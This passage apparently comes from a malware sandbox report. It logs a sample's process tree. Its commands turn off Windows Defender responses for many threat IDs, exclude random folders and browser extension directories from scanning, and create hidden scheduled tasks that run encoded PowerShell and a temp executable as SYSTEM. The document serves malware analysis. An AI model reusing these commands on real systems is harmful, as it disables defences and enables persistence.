                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                      PID:4324
                                                                                                                      • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                        "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                        6⤵
                                                                                                                          PID:4856
                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                                                                  2⤵
                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:1072
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                    3⤵
                                                                                                                      PID:4452
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                        4⤵
                                                                                                                          PID:1736
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                                                        3⤵
                                                                                                                          PID:3584
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                                                          3⤵
                                                                                                                            PID:4908
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                                            3⤵
                                                                                                                              PID:2296
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                                              3⤵
                                                                                                                                PID:5824
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                                                3⤵
                                                                                                                                  PID:5892
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                                                  3⤵
                                                                                                                                    PID:1520
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                                                    3⤵
                                                                                                                                      PID:2420
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                                                                      3⤵
                                                                                                                                        PID:5224
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                                                                        3⤵
                                                                                                                                          PID:5884
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                                                                          3⤵
                                                                                                                                            PID:3504
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                                                            3⤵
                                                                                                                                              PID:1624
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                                                              3⤵
                                                                                                                                                PID:384
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                                                                3⤵
                                                                                                                                                  PID:4888
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                                                                  3⤵
                                                                                                                                                    PID:2320
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                                                                    3⤵
                                                                                                                                                      PID:1888
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                      3⤵
                                                                                                                                                        PID:2344
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                        3⤵
                                                                                                                                                          PID:996
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                          3⤵
                                                                                                                                                            PID:4732
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                            3⤵
                                                                                                                                                              PID:1668
                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                                                              3⤵
                                                                                                                                                                PID:5240
                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:6024
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:3528
                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:5408
                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:3624
                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:5468
                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:4928
                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:456
                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                            powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JipyTrDkU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JipyTrDkU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YLgKyOFzWxOqC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YLgKyOFzWxOqC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\krdeMCnRKomDOvwVunR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\krdeMCnRKomDOvwVunR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nFLFFjqrQPUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nFLFFjqrQPUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tegRANPZONsU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tegRANPZONsU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fcblnlcRRSrBhAVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fcblnlcRRSrBhAVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ZmzskowerwXEonlG\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ZmzskowerwXEonlG\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:6080
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:4076
                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:2612
                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:5388
                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:1156
                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:6128
                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:5132
                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:4388
                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:3844
                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:5256
                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:1996
                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:3372
                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fcblnlcRRSrBhAVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:1404
                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fcblnlcRRSrBhAVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:2072
                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:3980
                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:608
                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:5140
                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:5668
                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:4072
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:3920
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ZmzskowerwXEonlG /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:1528
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ZmzskowerwXEonlG /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:4504
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                        schtasks /CREATE /TN "gYrwmJrjJ" /SC once /ST 15:18:47 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                        PID:1032
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                        schtasks /run /I /tn "gYrwmJrjJ"
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:3780
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                          schtasks /DELETE /F /TN "gYrwmJrjJ"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:4224
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                            schtasks /CREATE /TN "WKALCIrwIEiqhKBsn" /SC once /ST 12:40:23 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\GOqylmQ.exe\" y7 /TJxFdidMF 385118 /S" /V1 /F
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                            PID:4280
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                            schtasks /run /I /tn "WKALCIrwIEiqhKBsn"
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:5644
                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:5528
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4236 -s 992
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                • Program crash
